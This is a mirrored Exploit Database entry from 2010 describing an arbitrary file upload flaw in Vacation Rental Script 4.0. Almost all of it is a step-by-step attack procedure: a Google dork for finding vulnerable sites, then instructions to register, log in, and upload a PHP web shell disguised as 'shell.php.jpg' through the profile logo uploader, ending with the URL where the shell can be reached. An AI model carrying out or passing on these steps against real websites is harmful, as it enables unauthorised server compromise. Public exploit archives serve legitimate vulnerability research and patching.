Vacation Rental Script 4.0 – Arbitrary File Upload

• Exploit Database
• 133 阅读

• 作者： Br0ly
  日期： 2010-12-20
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/15793/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31

  Script Name: Vacation Rental Script <= 4.0 Site: http://www.vacationrentalscript.com/   Bug: Upload Shell Found: Br0ly google dork: "2006 - 2009 Vacation Rental Script"BraZIL!!   You need register a account first so:   Signup: http://server/signup   Cheek your email for login and password   So login in:   http://server/members/login   After login: Go to:   http://server/members/profile   at the bottom of the page you can upload a logo why not a lithe and nice shell?   Upload a shell type: shell.php.jpg or shell.php.jpeg   after upload:   http://server/public/upload/logos/youshell.php.jpg